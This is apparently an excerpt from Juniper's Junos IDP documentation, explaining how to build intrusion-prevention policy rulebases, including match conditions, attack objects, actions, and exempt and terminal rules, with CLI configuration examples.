Match conditions use the following characteristics to specify the type of network traffic to be monitored:

From-zone and to-zone—All traffic flows from a source to a destination zone. You can select any zone for
the source or destination. You can also use zone exceptions to specify unique to and from zones for
each device. Specify any to monitor network traffic originating from and to any zone. The default
value is any.

You can specify source-address and source-except addresses when from-zone is any. Similarly, when to-zone is any, you can specify destination-address and destination-except addresses.

Source IP address—Specify the source IP address from which the network traffic originates. You can
specify any to monitor network traffic originating from any IP address. You can also specify sourceexcept to specify all sources except the specified addresses. The default value is any.

- Destination IP address—Specify the destination IP address to which the network traffic is sent. You can set this to any to monitor network traffic sent to any IP address. You can also specify destination-except to specify all destinations except the specified addresses. The default value is any.
- Application—Specify the Application Layer protocols supported by the destination IP address. You can
 specify any for all applications or specify an application, for example, junos-bgp. You can specify default
 for the application configured in the attack object for the rule to match default and automatically
 detected ports to the applications implied in the attack objects.

IDP Rule Objects

Objects are reusable logical entities that you can apply to rules. Each object that you create is added to a database for the object type.

You can configure the following types of objects for IDP rules.

Zone Objects

A zone or security zone is a collection of one or more network interfaces. IDP uses zone objects configured in the base system.

Address or Network Objects

Address objects represent components of your network, such as host machines, servers, and subnets. You use address objects in IDP policy rules to specify the network components that you want to protect.

Application or Service Objects

Service objects represent network services that use Transport Layer protocols such as TCP, UDP, RPC, and ICMP. You use service objects in rules to specify the service an attack uses to access your network. Juniper Networks provides predefined service objects, a database of service objects that are based on industry-standard services. If you need to add service objects that are not included in the predefined service objects, you can create custom service objects. IDP supports the following types of service objects:

ŀ	tem	Name
1	Any	Allows IDP to match all Transport Layer protocols.

(Continued)

Item	Name
ТСР	Specifies a TCP port or a port range to match network services for specified TCP ports. You can specify junostcp-any to match services for all TCP ports.
UDP	Specifies a UDP port or a port range to match network services for specified UDP ports. You can specify junos-udp-any to match services for all UDP ports.
RPC	Specifies a remote procedure call (RPC from Sun Microsystems) program number or a program number range. IDP uses this information to identify RPC sessions.
ICMP	Specifies a type and code that is a part of an ICMP packet. You can specify junos-icmp-all to match all ICMP services.
default	Allows IDP to match default and automatically detected protocols to the applications implied in the attack objects.

Attack Objects

IDP attack objects represent known and unknown attacks. IDP includes a predefined attack object database that is periodically updated by Juniper Networks. Attack objects are specified in rules to identify malicious activity. Each attack is defined as an attack object, which represents a known pattern of attack. Whenever this known pattern of attack is encountered in the monitored network traffic, the attack object is matched. The three main types of attack objects are described in Table 8 on page 70.

Table 8: IDP Attack Objects

Attack Objects	Description
Signature Attack Objects	Signature attack objects detect known attacks using stateful attack signatures. An attack signature is a pattern that always exists within an attack; if the attack is present, so is the attack signature. With stateful signatures, IDP can look for the specific protocol or service used to perpetrate the attack, the direction and flow of the attack, and the context in which the attack occurs. Stateful signatures produce few false positives because the context of the attack is defined, eliminating huge sections of network traffic in which the attack would not occur.
Protocol Anomaly Attack Objects	Protocol anomaly attack objects identify unusual activity on the network. They detect abnormal or ambiguous messages within a connection according to the set of rules for the particular protocol being used. Protocol anomaly detection works by finding deviations from protocol standards, most often defined by RFCs and common RFC extensions. Most legitimate traffic adheres to established protocols. Traffic that does not, produces an anomaly, which may be created by attackers for specific purposes, such as evading an intrusion prevention system (IPS).
Compound Attack Objects	A compound attack object combines multiple signatures and/or protocol anomalies into a single object. Traffic must match all of the combined signatures and/or protocol anomalies to match the compound attack object; you can specify the order in which signatures or anomalies must match. Use compound attack objects to refine your IDP policy rules, reduce false positives, and increase detection accuracy. A compound attack object enables you to be very specific about the events that need to occur before IDP identifies traffic as an attack. You can use And, Or, and Ordered and operations to define the relationship among different attack objects within a compound attack and the order in which events occur.

Attack Object Groups

IDP contains a large number of predefined attack objects. To help keep IDP policies organized and manageable, attack objects can be grouped. An attack object group can contain one or more attack objects of different types. Junos OS supports the following three types of attack groups:

• Predefined attack object groups—Contain objects present in the signature database. The predefined attack object groups are dynamic in nature. For example, FTP: Minor group selects all attacks of

application- FTP and severity- Minor. If a new FTP attack of minor severity is introduced in the security database, it is added to the FTP: Minor group by default.

• Dynamic attack groups—Contain attack objects based on a certain matching criteria. For example, a dynamic group can contain all attacks related to an application. During signature update, the dynamic group membership is automatically updated based on the matching criteria for that group.

For a dynamic attack group using the direction filter, the expression and should be used in the exclude values. As is the case with all filters, the default expression is or. However, there is a choice of and in the case of the direction filter.

For example, if you want to choose all attacks with the direction client-to-server, configure the direction filter using set security idp dynamic-attack-group dyn1 filters direction values client-to-server command

In the case of chain attacks, each of the multiple members has its own direction. If a policy includes chain attacks, a client-to-server filter selects all chain attacks that have any member with client-to-server as the direction. This means chain attacks that include members with server-to-client or ANY as the direction are selected if the chain has at least one member with client-to-server as the direction.

You can view the attack objects that are present in a particular attack object group (predefined, dynamic, and custom attack groups) and the group to which a predefined attack object belongs using the following commands:

- show security idp attack attack-list attack-group group-name
- show security idp attack group-list attack-name

Use the show security idp attack attack-list attack-group group-name command to:

- View the list of all attacks present in the specified attack group such as custom, dynamic, and predefined groups.
- Specify the names of the group such as predefined-group predefined-group-name or dynamic-group <dynamic-group-name
 or custom-group <custom-group-name
 to display the list of attacks in that group.

Use the show security idp attack group-list command to view the list of attack groups to which the predefined attack belongs.



NOTE: In case of a predefined attack groups that do not have a defined filter, such groups are not displayed as members for an attack.

Use the show security idp attack attack-list policy *policy-name* command to view the attacks available in a configured IDP policy. If an IDP policy is configured to contain a particular attack belonging to

various attack groups, then the redundant attack names are displayed as part of the attack in an IDP policy command output.

Previously IDP signature updates supported only nine tags under filters. The seven tags are category, direction, false-positives, performance, product, recommended, service, severity, and vendor. IDP signature updates now support four new additional tags under filters for creating more sophisticated dynamic groups in addition to the existing nine tags.

The additional tags are:

- Common Vulnerability Scoring System (CVSS) (measured in terms of numerical numbers raging between 0 to 10. The value is a real number including decimal values. So, number value such as 5.5 is also a valid CVSS score.)
- Age of attack (in terms of years and the rage between (0 to 100 years). For example: greater than
 or lesser than in term of years)
- File Type (for example: MPEG, MP4, PPT, *.doc, and so on)
- Vulnerability Type (for example: buffer overflow, injection, use after free, Cross-site scripting (XSS), Remote Code Execution (RCE), and so on.

Additionally, the CLI interface for configuring the existing Product and Vendor tags is made more user friendly with possible completions being available for configuration.

- Vendor (for example: Microsoft, Apple, Red Hat, Google, Juniper, Cisco, Oracle, and so on.)
- Product (for example: Office, Database, Firefox, Chrome, Flash, DirectX, Java, Kerberos, and so on.)

To prevent these chain attacks from being added to the policy, configure the dynamic group as follows:

- set security idp dynamic-attack-group dyn1 filters direction expression and
- set security idp dynamic-attack-group dyn1 filters direction values client-to-server
- set security idp dynamic-attack-group dyn1 filters direction values exclude-server-to-client
- set security idp dynamic-attack-group dyn1 filters direction values exclude-any
- Custom attack groups—Contain customer-defined attack groups and can be configured through the CLI. They can contain specific predefined attacks, custom attacks, predefined attack groups, or dynamic attack groups. They are static in nature, because the attacks are specified in the group. Therefore the attack groups do not change when the security database is updated.

You can view the IPS Policy in predefined attacks and attack groups under IPS/Exempt rule in tenant and logical system modes. Use the commands, show security idp attack attack-group-entries, show security idp

attack attack-list, and show security idp attack group-list to view the IPS policies in logical system and tenant modes.

IDP Rule Actions

Actions specify the actions you want IDP to take when the monitored traffic matches the attack objects specified in the rules.

Table 9 on page 73 shows the actions you can specify for IDP rules:

Table 9: IDP Rule Actions

Term	Definition
No Action	No action is taken. Use this action when you only want to generate logs for some traffic.
Ignore Connection	Stops scanning traffic for the rest of the connection if an attack match is found. IDP disables the rulebase for the specific connection. This action does not mean ignore an attack.
Diffserv Marking	Assigns the indicated Differentiated Services code point (DSCP) value to the packet in an attack, then passes the packet on normally. Note that DSCP value is not applied to the first packet that is detected as an attack, but is applied to subsequent packets.
Drop Packet	Drops a matching packet before it can reach its destination but does not close the connection. Use this action to drop packets for attacks in traffic that is prone to spoofing, such as UDP traffic. Dropping a connection for such traffic could result in a denial of service that prevents you from receiving traffic from a legitimate source-IP address. When an IDP policy is configured using a non-packet context defined in a custom signature for any application and has the action drop packet, when IDP identifies an attack the decoder will promote drop_packet to drop_connection. With a DNS protocol attack, this is not the case. The DNS decoder will not promote drop_packet to drop_connection when an attack is identified. This will ensure that only DNS attack traffic will be dropped and valid DNS requests will
	continue to be processed. This will also avoid TCP retransmission for the valid TCP DNS requests.

Table 9: IDP Rule Actions (Continued)

Term	Definition
Drop Connection	Drops all packets associated with the connection, preventing traffic for the connection from reaching its destination. Use this action to drop connections for traffic that is not prone to spoofing.
Close Client	Closes the connection and sends an RST packet to the client but not to the server.
Close Server	Closes the connection and sends an RST packet to the server but not to the client.
Close Client and Server	Closes the connection and sends an RST packet to both the client and the server.
Recommended	All predefined attack objects have a default action associated with them. This is the action that Juniper Networks recommends when that attack is detected.
	This action is supported only for IPS rulebases.
	Recommended —A list of all attack objects that Juniper Networks considers to be serious threats, organized into categories.
	 Attack type groups attack objects by type (anomaly or signature). Within each type, attack objects are grouped by severity.
	 Category groups attack objects by predefined categories. Within each category, attack objects are grouped by severity.
	 Operating system groups attack objects by the operating system to which they apply: BSD, Linux, Solaris, or Windows. Within each operating system, attack objects are grouped by services and severity.
	 Severity groups attack objects by the severity assigned to the attack. IDP has five severity levels: Critical, Major, Minor, Warning, and Info. Within each severity, attack objects are grouped by category.

IDP Rule IP Actions

IP actions are actions that apply on future connections that use the same IP action attributes. For example, you can configure an IP action in the rule to block all future HTTP sessions between two hosts

if an attack is detected on a session between the hosts. Or you can specify a timeout value that defines that the action should be applied only if new sessions are initiated within that specified timeout value. The default timeout value for IP actions is 0, which means that IP actions are never timed out.

IP actions are similar to other actions; they direct IDP to drop or close the connection. However, because you now also have the attacker's IP address, you can choose to block the attacker for a specified time. If attackers cannot immediately regain a connection to your network, they might try to attack easier targets. Use IP actions in conjunction with actions and logging to secure your network.

IP action attributes are a combination of the following fields:

- Source IP address
- Destination IP address
- Destination port
- From-zone
- Protocol

Table 10 on page 75 summarizes the types IP actions supported by IDP rules:

Table 10: IDP Rule IP Actions

Term	Definition
Notify	Does not take any action against future traffic, but logs the event. This is the default.
Drop/Block Session	All packets of any session matching the IP action rule are dropped silently.
Close Session	Any new sessions matching this IP action rule are closed by sending

When traffic matches multiple rules, the most severe IP action of all matched rules is applied. The most severe IP action is the Close Session action, the next in severity is the Drop/Block Session action, and then the Notify action.

After enhancements to the central point, the system has the following limitations:

• The maximum active modeip-action number for each SPU is limited to 600000 entries. When this limit is reached, you cannot create a new active mode ip-action entry on the SPU.

- The maximum all modes (active mode and passive mode) ip-action number for each SPU is limited to 1200000 entries. When this limit is reached, you cannot create a new active mode ip-action entry on the SPU.
- When you run the clear ip-action command, the ip-action entries are deleted through ring messages. When the CPU usage is high, the deleted ring messages are dropped and resent by the active mode ip-action. As the deleting process takes time, you can see few ip-action entries when you run the show ip-action command.

On devices where central point enhancements are not done, only active mode ip-action exists and the maximum ip-action number is limited to 600000. When this limit is reached, you cannot create a new active mode ip-action entry.

IDP Rule Notifications

Notification defines how information is to be logged when an action is performed. When attacks are detected, you can choose to log an attack and create log records with attack information and send that information to the log server.

By using notifications, you can also configure the following options that instruct the log server to perform specific actions on logs generated for each rule:

- Set Alerts—Specify an alert option for a rule in the IDP policy. When the rule is matched, the
 corresponding log record displays an alert in the alert column of the Log Viewer. Security
 administrators use alerts to become aware of and react to important security events.
- Set Severity Level—Set severity levels in logging to support better organization and presentation of log records on the log server. You can use the default severity settings of the selected attack objects or choose a specific severity for your rule. The severity you configure in the rules overrides the inherited attack severity. You can set the severity level to the following levels:
 - Info−2
 - Warning—3
 - Minor-4
 - Major-5
 - Critical-7

Example: Insert a Rule in the IDP Rulebase

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This example shows how to insert a rule in the IDP rulebase.

Requirements

Before you begin:

- Configure network interfaces.
- Define rules in a rulebase. See "Example: Defining Rules for an IDP IPS RuleBase" on page 82.

Overview

The IDP rule-matching algorithm starts from the top of the rulebase and checks traffic against all rules in the rulebase that match the specified match conditions. You determine the sequence in which rules are applied to network traffic by placing them in the desired order. When you add a rule to the rulebase, it is placed at the end of the existing list of rules. To place a rule in any other location than at the end of the rulebase, you *insert* the rule at the desired location in the rulebase. This example places rule R2 before rule R1 in the IDP IPS rulebase in a policy called base-policy.

Configuration

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Procedure

Step-by-Step Procedure

To insert a rule in the rulebase:

1. Define the position of the rule in the rulebase based on the order in which you want the rule to be evaluated.

```
[edit]
user@host# insert security idp idp-policy base-policy rulebase-ips rule R2 before rule R1
```

2. If you are done configuring the device, commit the configuration.

```
[edit]
user@host# commit
```

Verification

To verify the configuration is working properly, enter the show security idp status command.

Example: Deactivate and Activate Rules in an IDP Rulebase

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This example shows how to deactivate and activate a rule in a rulebase.

Requirements

Before you begin:

- Configure network interfaces.
- Define rules in a rulebase. See "Example: Defining Rules for an IDP IPS RuleBase" on page 82.

Overview

In a rulebase, you can disable and enable rules by using the deactivate and activate commands. The deactivate command comments out the specified statement from the configuration. Rules that have been deactivated do not take effect when you issue the commit command. The activate command adds the specified statement back to the configuration. Rules that have been activated take effect when you next issue the commit command. This example shows how to deactivate and reactivate rule R2 in an IDP IPS rulebase that is associated with a policy called base-policy.

Configuration

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Procedure

Step-by-Step Procedure

To deactivate and activate a rule in a rulebase:

1. Specify the rule that you want to deactivate.

[edit]

user@host# deactivate security idp idp-policy base-policy rulebase-ips rule R2

2. Activate the rule.

[edit]

user@host# activate security idp idp-policy base-policy rulebase-ips rule R2

3. If you are done configuring the device, commit the configuration.

[edit]
user@host# commit

Verification

To verify the configuration is working properly, enter the show security idp status command.

IDP Application-Level DDoS Rulebases

The application-level DDoS rulebase defines parameters used to protect servers, such as DNS or HTTP, from application-level distributed denial-of-service (DDoS) attacks. You can set up custom application metrics based on normal server activity requests to determine when clients should be considered an attack client. The application-level DDoS rulebase is then used to defines the source match condition for traffic that should be monitored, then takes the defined action: close server, drop connection, drop packet, or no action. It can also perform an IP action: ip-block, ip-close, ip-notify, ip-connection-rate-limit, or timeout. Table 11 on page 80 summarizes the options that you can configure in the application-level DDoS rulebase rules.

Table 11: Application-Level DDoS Rulebase Components

Term	Definition
Match condition	Specify the network traffic you want the device to monitor for attacks.
Action	Specify the actions you want Intrusion Detection and Prevention (IDP) to take when the monitored traffic matches the application-ddos objects specified in the application-level DDoS rule.
IP Action	Enables you to implicitly block a source address to protect the network from future intrusions while permitting legitimate traffic. You can configure one of the following IP action options in application-level DDoS: ip-block, ip-close, ip-notify, and ip-connection-rate-limit.

IDP IPS Rulebases

The intrusion prevention system (IPS) rulebase protects your network from attacks by using attack objects to detect known and unknown attacks. It detects attacks based on stateful signature and protocol anomalies. Table 12 on page 81 summarizes the options that you can configure in the IPS-rulebase rules.

Table 12: IPS Rulebase Components

Term	Definition
Match condition	Specify the type of network traffic you want the device to monitor for attacks. For more information about match conditions, see "Understanding IDP Policy Rules" on page 67.
Attack objects/groups	Specify the attacks you want the device to match in the monitored network traffic. Each attack is defined as an attack object, which represents a known pattern of attack. For more information about attack objects, see "Understanding IDP Policy Rules" on page 67.
Terminal flag	Specify a terminal rule. The device stops matching rules for a session when a terminal rule is matched. For more information about terminal rules, see "Understanding IDP Terminal Rules" on page 92.
Action	Specify the action you want the system to take when the monitored traffic matches the attack objects specified in the rules. If an attack triggers multiple rule actions, then the most severe action among those rules is executed. For more information about actions, see "Understanding IDP Policy Rules" on page 67.
IP Action	Enables you to protect the network from future intrusions while permitting legitimate traffic. You can configure one of the following IP action options in the IPS rulebase—notify, drop, or close. For more information about IP actions, see "Understanding IDP Policy Rules" on page 67.
Notification	Defines how information is to be logged when action is performed. You can choose to log an attack, create log records with the attack information, and send information to the log server. For more information, see "Understanding IDP Policy Rules" on page 67.

Example: Define Rules for an IDP IPS RuleBase

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This example shows how to define rules for an IDP IPS rulebase.

Requirements

Before you begin:

- Configure network interfaces.
- Create security zones. See Example: Creating Security Zones.

For using IDP custom policy with pre-defined attacks, you need to have Signature database downloaded on the device.

For more details see "Example: Updating the IDP Signature Database Manually" on page 34.

Overview

Each rule is composed of match conditions, objects, actions, and notifications. When you define an IDP rule, you must specify the type of network traffic you want IDP to monitor for attacks by using the following characteristics—source zone, destination zone, source IP address, destination IP address, and the Application Layer protocol supported by the destination IP address. The rules are defined in rulebases, and rulebases are associated with policies.

This example describes how to create a policy called base-policy, specify a rulebase for this policy, and then add rule R1 to this rulebase. In this example, rule R1:

- Specifies the match condition to include any traffic from a previously configured zone called *trust* to another previously configured zone called *untrust*. The match condition also includes a predefined attack group Critical TELNET. The application setting in the match condition is *default* and matches any application configured in the attack object.
- Specifies an action to drop connection for any traffic that matches the criteria for rule R1.

- Enables attack logging and specifies that an alert flag is added to the attack log.
- Specifies a severity level as *critical*.

After defining the rule, you specify base-policy as the active policy on the device.

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Procedure

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, and then copy and paste the commands into the CLI at the [edit] hierarchy level, and then enter commit from configuration mode.

```
set security idp idp-policy base-policy rulebase-ips rule R1 match from-zone trust to-zone untrust source-address any destination-address any application default set security idp idp-policy base-policy rulebase-ips rule R1 match attacks predefined-attack-groups "TELNET-Critical" set security idp idp-policy base-policy rulebase-ips rule R1 then action drop-connection set security idp idp-policy base-policy rulebase-ips rule R1 then notification log-attacks alert set security idp idp-policy base-policy rulebase-ips rule R1 then severity critical set security idp active-policy base-policy
```

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the CLI User Guide.

To define rules for an IDP IPS rulebase:

1. Create a policy by assigning a meaningful name to it.

```
[edit]
user@host# edit security idp idp-policy base-policy
```

2. Associate a rulebase with the policy.

```
[edit security idp idp-policy base-policy]
user@host# edit rulebase-ips
```

3. Add rules to the rulebase.

```
[edit security idp idp-policy base-policy rulebase-ips]
user@host# edit rule R1
```

4. Define the match criteria for the rule.

```
[edit security idp idp-policy base-policy rulebase-ips rule R1] user@host# set match from-zone trust to-zone untrust source-address any destination-address any application default
```

5. Define an attack as match criteria.

```
[edit security idp idp-policy base-policy rulebase-ips rule R1]
user@host# set match attacks predefined-attack-groups "TELNET-Critical"
```

6. Specify an action for the rule.

```
[edit security idp idp-policy base-policy rulebase-ips rule R1]
user@host# set then action drop-connection
```

7. Specify notification and logging options for the rule.

```
[edit security idp idp-policy base-policy rulebase-ips rule R1]
user@host# set then notification log-attacks alert
```

8. Set the severity level for the rule.

```
[edit security idp idp-policy base-policy rulebase-ips rule R1]
user@host# set then severity critical
```

9. Activate the policy.

```
[edit]
user@host# set security idp active-policy base-policy
```

Results

From configuration mode, confirm your configuration by entering the show security idp command. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

```
[edit]
user@host# show security idp
idp-policy base-policy {
    rulebase-ips {
        rule R1 {
            match {
                from-zone trust;
                source-address any;
                to-zone untrust;
                destination-address any;
                application default;
                attacks {
                    predefined-attack-groups Critical-TELNET;
                }
            }
            then {
                action {
                    drop-connection;
                }
                notification {
                    log-attacks {
                        alert;
                    }
```

```
severity critical;
}
}
}
active-policy base-policy;
```

If you are done configuring the device, enter commit from configuration mode.

Verification

IN THIS SECTION

Verifying the Configuration | 86

To confirm that the configuration is working properly, perform this task:

Verifying the Configuration

Purpose

Verify that the rules for the IDP IPS rulebase configuration are correct.

Action

From operational mode, enter the show security idp status command.

IDP Exempt Rulebases

IN THIS SECTION

Support Logging for Exempt Rule Match | 87

The exempt rulebase works in conjunction with the intrusion prevention system (IPS) rulebase to prevent unnecessary alarms from being generated. You configure rules in this rulebase to exclude known false positives or to exclude a specific source, destination, or source/destination pair from matching an IPS rule. If traffic matches a rule in the IPS rulebase, the system attempts to match the traffic against the exempt rulebase before performing the action specified. Carefully written rules in an exempt rulebase can significantly reduce the number of false positives generated by an IPS rulebase.

Configure an exempt rulebase in the following conditions:

- When an IDP rule uses an attack object group that contains one or more attack objects that produce false positives or irrelevant log records.
- When you want to exclude a specific source, destination, or source/destination pair from matching an IDP rule. This prevents IDP from generating unnecessary alarms.



NOTE: Ensure to configure the IPS rulebase before configuring the exempt rulebase.

Table 13 on page 87 summarizes the options that you can configure in the exempt-rulebase rules.

Table 13: Exempt Rulebase Options

Term	Definition
Match condition	Specify the type of network traffic you want the device to monitor for attacks in the same way as in the IPS rulebase. However, in the exempt rulebase, you cannot configure an application; it is always set to any.
Attack objects/groups	Specify the attack objects that you do <i>not</i> want the device to match in the monitored network traffic.

Support Logging for Exempt Rule Match

Exempt rules in IDP are used to exclude specific types of attacks or certain types of traffic from getting logged so that the focus is on targeting the incidents that are potential threats. However, some useful information can be lost due to the presence of exempt rules.

We've introduced exempt rule logging in the IDP system, which can be used to monitor and analyze traffic patterns, detect potential security threats, and troubleshoot network issues. Administrators can examine the logs and gain insights into the type of traffic that is exempt from the IDP rules and make informed decisions about the network policies.

The logging functionality for exempt rules is enabled at the rule level. This ensures fine-grained monitoring and analysis of security events, which enhances the visibility of the system.

The following is an example of logging support for exempt rules within the IDP policy:

user@host# set security idp idp-policy Sample-IPS-Policy rulebase-exempt rule Exempt-rule then notification log-attacks alert

where, Sample-IPS-Policy is a policy name and Exempt-rule is the rule name.

The following is a sample log event:

IDP_RULEBASE_EXEMPT_LOG_EVENT

RT_IDP: IDP_RULEBASE_EXEMPT_LOG_EVENT: IDP: at 1687773425, ANOMALY Attack log <IP/50852->IP/80> for TCP protocol and service HTTP application GOOGLE-GEN by rule 4 of rulebase-exempt IPS in policy Space-IPS-Policy. attack: id=1555, repeat=0, action=NONE, threat-severity=HIGH, name=HTTP:INVALID:MSNG-HTTP-VER, NAT <0.0.0.0:0->0.0.0:0->0.0.0:0->, time-elapsed=0, inbytes=0, outbytes=0, inpackets=0, outpackets=0, intf:untrust:xe-0/0/0.0->trust:xe-0/0/1.0, alert=yes, username=N/A, roles=N/A, xff-header=N/A, cve-id=2022-21907, session-id=42

Example: Define Rules for an IDP Exempt Rulebase

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- Configuration | 89
- Verification | 91

This example shows how to define rules for an exempt IDP rulebase.

Requirements

Before you begin, create rules in the IDP IPS rulebase. See "Example: Defining Rules for an IDP IPS RuleBase" on page 82.

Overview

When you create an exempt rule, you must specify the following:

Source and destination for traffic you want to exempt. You can set the source or destination to Any to
exempt network traffic originating from any source or sent to any destination. You can also set sourceexcept or destination-except to specify all the sources or destinations except the specified source or
destination addresses.

You can now specify source-address and source-except addresses when from-zone is any. Similarly, when to-zone is any, you can specify destination-address and destination-except addresses.

• The attacks you want IDP to exempt for the specified source/destination addresses. You must include at least one attack object in an exempt rule.

This example shows that the IDP policy generates false positives for the attack FTP:USER:ROOT on an internal network. You configure the rule to exempt attack detection for this attack when the source IP is from your internal network.

Configuration

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• Procedure | 89

Procedure

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, and then copy and paste the commands into the CLI at the [edit] hierarchy level, and then enter commit from configuration mode.

```
set security idp idp-policy base-policy rulebase-exempt rule R1 match from-zone trust to-zone any set security idp idp-policy base-policy rulebase-exempt rule R1 match source-address internal-devices destination-address any set security idp idp-policy base-policy rulebase-exempt rule R1 match attacks predefined-attacks "FTP:USER:ROOT" set security idp active-policy base-policy
```

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the CLI User Guide.

To define rules for an exempt IDP rulebase:

1. Specify the IDP IPS rulebase for which you want to define and exempt the rulebase.

```
[edit]
user@host# edit security idp idp-policy base-policy
```

2. Associate the exempt rulebase with the policy and zones, and add a rule to the rulebase.

```
[edit security idp idp-policy base-policy]
user@host# set rulebase-exempt rule R1 match from-zone trust to-zone any
```

3. Specify the source and destination addresses for the rulebase.

```
[edit security idp idp-policy base-policy]
user@host# set rulebase-exempt rule R1 match source-address internal-devices destination-
address any
```

4. Specify the attacks that you want to exempt from attack detection.

```
[edit security idp idp-policy base-policy]
user@host# set rulebase-exempt rule R1 match attacks predefined-attacks "FTP:USER:ROOT"
```

5. Activate the policy.

```
[edit]
user@host# set security idp active-policy base-policy
```

Results

From configuration mode, confirm your configuration by entering the show security idp command. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

```
[edit]
user@host# show security idp
idp-policy base-policy {
    rulebase-exempt {
        rule R1 {
            match {
                from-zone trust;
                source-address internal-devices;
                to-zone any;
                destination-address any;
                attacks {
                    predefined-attacks FTP:USER:ROOT;
                }
            }
        }
    }
active-policy base-policy;
```

If you are done configuring the device, enter commit from configuration mode.

Verification

IN THIS SECTION

Verify the Configuration | 91

To confirm that the configuration is working properly, perform this task:

Verify the Configuration

Purpose

Verify that the defined rules were exempt from the IDP rulebase configuration.

Action

From operational mode, enter the show security idp status command.

IDP Terminal Rules

The Intrusion Detection and Prevention (IDP) rule-matching algorithm starts from the top of the rulebase and checks traffic against all rules in the rulebase that match the source, destination, and service. However, you can configure a rule to be *terminal*. A terminal rule is an exception to this algorithm. When a match is discovered in a terminal rule for the source, destination, zones, and application, IDP does not continue to check subsequent rules for the same source, destination, and application. It does not matter whether or not the traffic matches the attack objects in the matching rule.

You can use a terminal rule for the following purposes:

- To set different actions for different attacks for the same Source and Destination.
- To disregard traffic that originates from a known trusted source. Typically, the action is None for this type of terminal rule.
- To disregard traffic sent to a server that is vulnerable only to a specific set of attacks. Typically, the action is Drop Connection for this type of terminal rule.

Use caution when defining terminal rules. An inappropriate terminal rule can leave your network open to attacks. Remember that traffic matching the source, destination, and application of a terminal rule is not compared to subsequent rules, even if the traffic does not match an attack object in the terminal rule. Use a terminal rule only when you want to examine a certain type of traffic for one specific set of attack objects. Be particularly careful about terminal rules that use any for both the source and destination. Terminal rules should appear near the top of the rulebase before other rules that would match the same traffic.

Example: Set Terminal Rules in Rulebases

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- Configuration | 93
- Verification | 96

This example shows how to configure terminal rules.

Requirements

Before you begin:

- Configure network interfaces.
- Enable IDP application services in a security policy.
- Create security zones. See Example: Creating Security Zones.
- Define rules. See "Example: Inserting a Rule in the IDP Rulebase" on page 77.

Overview

By default, rules in the IDP rulebase are not terminal, which means IDP examines all rules in the rulebase and executes all matches. You can specify that a rule is terminal; that is, if IDP encounters a match for the source, destination, and service specified in a terminal rule, it does not examine any subsequent rules for that connection.

This example shows how to configure terminal rules. You define rule R2 to terminate the match algorithm if the source IP of the traffic originates from a known trusted network in your company. If this rule is matched, IDP disregards traffic from the trusted network and does not monitor the session for malicious data.

Configuration

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Procedure | 94

Procedure

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, and then copy and paste the commands into the CLI at the [edit] hierarchy level, and then enter commit from configuration mode.

```
set security idp idp-policy base-policy rulebase-ips rule R2 match source-address internal destination-address any set security idp idp-policy base-policy rulebase-ips rule R2 terminal set security idp idp-policy base-policy rulebase-ips rule R2 match attacks predefined-attacks FTP:USER:ROOT set security idp idp-policy base-policy rulebase-ips rule R2 then action recommended
```

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the CLI User Guide.

To configure terminal rules:

1. Create an IDP policy.

```
[edit]
user@host# set security idp idp-policy base-policy
```

2. Define a rule and set its match criteria.

```
[edit security idp idp-policy base-policy]
user@host# set rulebase-ips rule R2 match source-address internal destination-address any
```

3. Set the terminal flag for the rule.

```
[edit security idp idp-policy base-policy]
user@host# set rulebase-ips rule R2 terminal
```

4. Specify the attacks that you want to exempt from attack detection.

```
[edit security idp idp-policy base-policy]
user@host# set rulebase-ips rule R2 match attacks predefined-attacks FTP:USER:ROOT
```

5. Specify an action for the rule.

```
[edit security idp idp-policy base-policy]
user@host# rulebase-ips rule R2 then action recommended
```

Results

From configuration mode, confirm your configuration by entering the show security idp command. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

```
[edit]
user@host# show security idp
   idp-policy base-policy {
        rulebase-ips {
            rule R2 {
                match {
                    source-address internal;
                    destination-address any;
                    attacks {
                        predefined-attacks FTP:USER:ROOT;
                    }
                }
                then {
                    action {
                        recommended;
                    }
                terminal;
            }
       }
   }
```

If you are done configuring the device, enter commit from configuration mode.

Verification

IN THIS SECTION

Verify the Configuration | 96

To confirm that the configuration is working properly, perform this task:

Verify the Configuration

Purpose

Verify that the terminal rules were configured correctly.

Action

From operational mode, enter the show security idp status command.

DSCP Rules in IDP Policies

Differentiated Services code point (DSCP) is an integer value encoded in the 6-bit field defined in IP packet headers. It is used to enforce class-of-service (CoS) distinctions. CoS allows you to override the default packet forwarding behavior and assign service levels to specific traffic flows.

You can configure DSCP value as an action in an IDP policy rule. You first define the traffic by defining match conditions in the IDP policy and then associate a DiffServ marking action with it. Based on the DSCP value, behavior aggregate classifiers set the forwarding class and loss priority for the traffic deciding the forwarding treatment the traffic receives.

All packets that match the IDP policy rule have the CoS field in their IP header rewritten with the DSCP value specified in the matching policy. If the traffic matches multiple rules with differing DSCP values, the first IDP rule that matches takes effect and this IDP rule then applies to all traffic for that session.

Example: Configure DSCP Rules in an IDP Policy

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- Overview | 97
- Configuration | 98
- Verification | 100

This example shows how to configure DSCP values in an IDP policy.

Requirements

Before you begin:

- Configure network interfaces
- Enable IDP application services in a security policy
- Create security zones
- Define rules

Overview

Configuring DSCP values in IDP policies provides a method of associating CoS values—thus different levels of reliability—for different types of traffic on the network.

This example shows how to create a policy called policy1, specify a rulebase for this policy, and then add rule R1 to this rulebase. In this example, rule R1:

- Specifies the match condition to include any traffic from a previously configured zone called trust to
 another previously configured zone called untrust. The match condition also includes a predefined
 attack group called HTTP Critical. The application setting in the match condition is specified as the
 default and matches any application configured in the attack object.
- Specifies an action to rewrite the CoS field in the IP header with the DSCP value 50 for any traffic that matches the criteria for rule R1.

Use the command show security idp attack attack-list recursive predefined-group "HTTP - Critical" to see the details of what is included in the pre-defined group "HTTP - Critical".

Configuration

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• Procedure | 98

Procedure

CLI Quick Configuration

